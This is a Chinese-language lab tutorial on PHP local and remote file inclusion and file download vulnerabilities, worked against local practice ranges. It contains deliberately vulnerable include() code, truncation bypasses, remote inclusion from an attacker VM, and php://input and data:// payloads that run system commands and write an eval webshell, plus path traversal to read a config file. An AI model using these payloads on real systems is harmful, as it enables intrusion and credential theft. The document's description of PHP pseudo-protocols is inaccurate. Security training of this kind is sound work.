文件上传漏洞
一、文件包含漏洞概念
① 文件包含是把指定的文件当成代码执星。文件包含执行恶意代码(图片木马),也可能导致敏感信息的泄露(配置文件)。
② 文件包含分为了本地包含 和远程包含 。本地包含只能含有服务器已有的问题,当服务器没有需要包含的文件,那么,需配合其它漏洞的使用。远程包含是指包含一切网络上的文件,因此,危害性大于本地包含。
③ 检测该漏洞的有白盒与黑盒的方式。白盒是指通过代码审计的方式;而黑盒是指公开的漏洞,需手动看参数和功能点。
二、运行环境
(1)环境一
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 2003 |
| 中间件 | phpStudy 2018 |
| PHP版本 | 5.4.45 |
| Apache | 2.4 |

(2)环境二

| 名称 | 值 |
|---|---|
| 操作系统 | Windows 10 |
| 中间件 | phpStudy (PHP 5.2.17) |
说明: 此环境为upload-labs-env靶场专用,在使用该靶场时,请先关闭其它版本的phpstudy。无需MySQL支持。
三、本地包含
此部分需要在"环境二"中运行,即在upload-labs-env靶场中操作。
1、无限制的文件包含操作
Step1:新建upload.php文件
bash
<?php
$filename=$_GET['filename'];
include ( $filename);
?>
Step2:新建1.txt文件,与upload.php在同一目录
bash
<?php phpinfo(); ?>
Step3:将1.txt当成代码运行
bash
http://127.0.0.1/upload.php?filename=1.txt

2、有限制的文件包含操作
(1)%00截断
Step1:新建upload2.php⽂件
bash
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
Step2:开始访问

在页面中,文件加载失败,此时需要利用一定的方法将其绕过。
Step3:使用%00绕过
bash
http://127.0.0.1/upload2.php?filename=1.txt%00

在页面中可以看到,用了%00截断的方式就能绕过检测。
(2)长度截断
长度截断的原理:
Windows长度命名长度限制256个字符(由于磁盘分区需要占用⼀个字符,所以用户只能使⽤255个字符命名⽂件夹。);而Linux⻓度限制4096。
bash
http://127.0.0.1/upload2.php?filename=1.txt.......................................................................................................................................................................................................................................................................................................

四、远程包含
说明:
① 同样地,此部分需要在"环境二 "中运行,即在upload-labs-env靶场中操作。但为了攻击环境二 这个主机,需要自己配备一个虚拟机或主机作为攻击机。此部分的攻击机为虚拟机,IP为192.168.179.144,phpstudy的apache服务端口为90。
② 远程包含的危害性高于本地包含,需额外的权限方可开启。默认情况下,查看权限可通过phpinfo();中的allow_url_includ,要求状态必须为On。
③ allow_url_includ配置专门针对PHP的include、include_once、requite及require_once语句。当allow_url_include被设置为On时,PHP允许通过URL的形式,从远程服务器包含和执行PHP文件。
1、无限制的文件包含操作
Step1:新建upload.php文件
bash
<?php
$filename=$_GET['filename'];
include ( $filename);
?>
Step2:在含有phpstudy的虚拟机(192.168.179.144)中新建1.txt文件
bash
# 此为1.txt
<?php phpinfo(); ?>
Step3:访问1.txt文件
bash
http://192.168.179.144:90/1.txt

bash
http://127.0.0.1/upload.php?filename=http://192.168.179.144:90/1.txt

2、有限制的文件包含操作
Step1:访问此地址时,提示文件打开失败
bash
http://127.0.0.1/upload2.php?filename=http://192.168.179.144:90/1.txt

Step2:远程文件是可控的。为了绕过检测,将文件更名为1.txt.html。
Step3:将1.txt.html远程引入到目标主机中加载
bash
http://127.0.0.1/upload2.php?filename=http://192.168.179.144:90/1.txt.html

Step4:重新修改地址后,再次访问
说明: 直接将1.txt.html改为了1.txt后,输出了phpinfo的信息。而此时攻击机(192.168.179.144)中的文件依然是1.txt.html。但将攻击机中的文件改为1.txt则会打开失败,与Step1的显示如出一辙。
bash
http://127.0.0.1/upload2.php?filename=http://192.168.179.144:90/1.txt

五、PHP伪协议 (PHP Protocol Override)
它是⼀种在PHP处理数据时,通过替换数据报的头部信息来欺骗⽹
络协议的⽅式,来提⾼性能的技术。
支持的伪协议:
| 协议名 | 作用 |
|---|---|
| file:// | 访问本地⽂件系统 |
| http:// | 访问 HTTP(s) ⽹址 |
| ftp:// | 访问 FTP(s) URLs |
| php:// | 访问各个输入/输出流(I/O streams) |
| zlib:// | 压缩流 |
| data:// | 数据(RFC 2397) |
| glob:// | 查找匹配的⽂件路径模式 |
| phar:// | PHP 归档 |
| ssh2:// | Secure Shell 2 |
| rar:// | RAR |
| ogg:// | ⾳频流 |
| expect:// | 处理交互式的流 |
1、http://、https://
URL形式,允许通过HTTP1.0的GET方法,以读取访问文件或资源,通常用于远程包含。
bash
http://127.0.0.1/upload.php?filename=http://192.168.179.144:90/1.txt

2、filter
php://filter用于读取完整源码。相信信息可通过PHP官网获取。
读取中upload.php⽂件以base64编码输出:
bash
http://127.0.0.1/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

3、input
(1)php://input的使用
php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执⾏。
地址部分:
bash
http://127.0.0.1/include.php?file=php://input
POST DATA部分:
bash
<?php phpinfo(); ?>

(2)查看服务器的版本
地址部分:
bash
http://127.0.0.1/upload.php?filename=php://input
POST DATA部分:
bash
<?php system('ver')?>

(3)执行ipconfig
地址部分:
bash
http://127.0.0.1/upload.php?filename=php://input
POST DATA部分:
bash
<?php system('ipconfig')?>

(4)写⼀句话木马
地址部分:
bash
http://127.0.0.1/upload.php?filename=php://input
POST DATA部分:
bash
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>
4、file
用于访问本地文件系统,file://需要的是完整的路径。
(1)访问hosts⽂件
bash
http://127.0.0.1/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts
5、data
以传递相应格式的数据。通常可以用来执行PHP代码。
(1)正常使用
bash
http://127.0.0.1/upload.php?filename=data://text/plain,<?php phpinfo(); ?>
(2)加载存在编码的地址
bash
PD9waHAgcGhwaW5mbygpOz8+
# 转码后:
<?php phpinfo();?>
bash
http://127.0.0.1/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

说明:
为何在地址中存在%2b,而非直接显示为"+"呢?这是因为除了数字、大小写字母和下划线之外,其它字符均被URL地址理解为特殊字符,需要进行特殊转移。例如%2b中的2b代表ASCII的43,对应的符合为"+"。
特殊符号的举例如下:
1.+ URL 中+号表示空格 %2B
2.空格 URL中的空格可以用+号或者编码 %20
3./ 分隔目录和子目录 %2F
4.? 分隔实际的 URL 和参数 %3F
5.% 指定特殊字符 %25
6.# 表示书签 %23
7.& URL 中指定的参数间的分隔符 %26
8.= URL 中指定参数的值 %3D
六、文件下载/读取漏洞
文件下载/读取漏洞与文件包含漏洞类似,通过下载的方式获取敏感文件。此部分用的是环境一。
bash
http://192.168.179.144:90/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php
1、靶场环境配置
(1)部署地址
bash
D:\phpStudy\PHPTutorial\WWW\pikachu
(2)安装pikachu
Step1:在数据库中新建pikachu数据库;
Step2:自定义修改inc/config.inc.php文件里面的参数;
Step3:访问如下安装地址后点击"安装/初始化"按钮;并提示安装成功
bash
http://192.168.179.144:90/pikachu/install.php

Step4:访问Unsafe Filedownload页面
bash
http://192.168.179.144:90/pikachu/vul/unsafedownload/down_nba.php

利用http获取站点内的配置文件:
bash
http://192.168.179.144:90/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php
访问后提示下载文件:

此漏洞如果不注意,会导致项目内的核心文件被下载。